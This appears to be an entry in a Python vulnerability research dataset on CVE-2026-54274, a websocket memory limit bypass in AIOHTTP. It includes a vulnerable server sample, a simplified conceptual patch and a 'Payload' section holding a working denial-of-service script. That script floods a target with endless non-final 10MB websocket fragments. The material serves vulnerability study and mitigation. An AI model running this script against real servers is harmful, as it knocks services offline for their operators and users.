VAITP Dataset

← Back to the dataset

CVE-2026-54274

AIOHTTP incomplete websocket frames can bypass memory use limits.

  • CVSS 6.6
  • CWE-770
  • Resource Management
  • Remote

AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.1, if an attacker sends large incomplete websocket frame payloads, it may be possible to bypass the usual size limits on memory use. This vulnerability is fixed in 3.14.1.

CVSS base score
6.6
Published
2026-06-22
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
AIOHTTP
Fixed by upgrading
Yes

Solution

Upgrade AIOHTTP to version 3.14.1 or later.

Vulnerable code sample

import asyncio
from aiohttp import web

async def websocket_handler(request):
    # In the vulnerable version, the max_msg_size limit is not enforced
    # on the buffer for partial/incomplete websocket frames. An attacker
    # could send a stream of non-final frames for a single message,
    # causing the server to buffer them indefinitely and exhaust memory,
    # bypassing the size check which only occurs on the final frame.
    ws = web.WebSocketResponse(max_msg_size=1_048_576) # 1MB limit intended
    await ws.prepare(request)

    async for msg in ws:
        if msg.type == web.WSMsgType.TEXT:
            # This logic is only reached after the full, potentially huge,
            # message has been buffered in memory.
            await ws.send_str(f"Echo: {msg.data}")
        elif msg.type == web.WSMsgType.ERROR:
            break

    return ws

app = web.Application()
app.add_routes([web.get('/ws', websocket_handler)])

# To run this server, you would typically use:
# web.run_app(app, host='0.0.0.0', port=8080)
#
# An attacker would connect and send a websocket message fragmented
# into many small frames, where the total payload size far exceeds
# the 1MB max_msg_size limit.

Patched code sample

import io

class WebSocketError(Exception):
    """Custom exception to represent a WebSocket protocol error."""
    pass

class PatchedWebSocketParser:
    """
    A simplified representation of the logic used to fix the vulnerability.
    The key is checking the payload length from the header *before*
    reading the payload into memory. This code is a conceptual model
    of the actual patch applied to aiohttp.
    """
    def __init__(self, max_msg_size: int = 1_048_576):
        # Corresponds to aiohttp's max_msg_size parameter (default 1MB)
        self._max_msg_size = max_msg_size
        # Buffer for fragmented websocket messages
        self._frame_payload = bytearray()

    def read_frame(self, stream: io.BytesIO):
        """
        Simulates reading a single WebSocket frame with the patched logic.
        """
        # In a real scenario, this would parse a complex binary header.
        # Here, we simulate reading an 8-byte extended payload length.
        header_data = stream.read(8)
        payload_len = int.from_bytes(header_data, 'big')

        # --- THE FIX ---
        # The vulnerability was that data could be read into a buffer before a
        # complete size check. The fix is to check the declared payload length
        # from the header against the maximum message size *before* reading the
        # payload from the stream. This check also accounts for fragmented messages
        # by including the length of any data already buffered from previous
        # continuation frames.
        if (self._max_msg_size and
                (len(self._frame_payload) + payload_len) > self._max_msg_size):
            raise WebSocketError(
                f"Message size {len(self._frame_payload) + payload_len} "
                f"exceeds configured limit {self._max_msg_size}"
            )
        # --- END OF FIX ---

        # If the check passes, proceed to read the payload. The application is
        # now protected from attempting to read an excessively large payload
        # into memory because the check above would have already failed.
        payload_data = stream.read(payload_len)
        self._frame_payload.extend(payload_data)

        # In a real implementation, a FIN bit check would determine if this
        # is the final frame. For this example, we assume it is.
        complete_message = self._frame_payload
        self._frame_payload = bytearray() # Reset for next message
        return complete_message

Payload

import asyncio
import websockets
from websockets.framing import Frame, Opcode

TARGET_URI = "ws://localhost:8080/ws"  # Change to the target server address

async def exploit_incomplete_frames(uri):
    """
    Connects to a WebSocket server and sends a stream of large,
    incomplete message fragments to exhaust server memory.
    """
    try:
        # Set max_size=None to allow sending large frames from the client side.
        async with websockets.connect(uri, max_size=None) as websocket:
            # Define a large payload chunk (e.g., 10MB).
            # The server is expected to buffer this data.
            payload_chunk = b'x' * (10 * 1024 * 1024)

            # Send the first frame of a fragmented binary message (fin=False).
            await websocket.write_frame(
                Frame(opcode=Opcode.BINARY, data=payload_chunk, fin=False)
            )

            # Continuously send continuation frames (fin=False), never the final frame.
            # This forces the server to keep buffering the incomplete message.
            while True:
                await websocket.write_frame(
                    Frame(opcode=Opcode.CONTINUATION, data=payload_chunk, fin=False)
                )
                # A small delay can help prevent overwhelming the local network stack
                # and ensure frames are sent as distinct packets.
                await asyncio.sleep(0.1)

    except Exception as e:
        print(f"Connection lost or exploit failed: {e}")


if __name__ == "__main__":
    try:
        print(f"Starting exploit against {TARGET_URI}...")
        print("Sending large, incomplete WebSocket frames to cause memory exhaustion.")
        print("Press Ctrl+C to stop.")
        asyncio.run(exploit_incomplete_frames(TARGET_URI))
    except KeyboardInterrupt:
        print("\nExploit stopped by user.")

Cite this entry

@misc{vaitp:cve202654274,
  title        = {{AIOHTTP incomplete websocket frames can bypass memory use limits.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-54274},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-54274/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::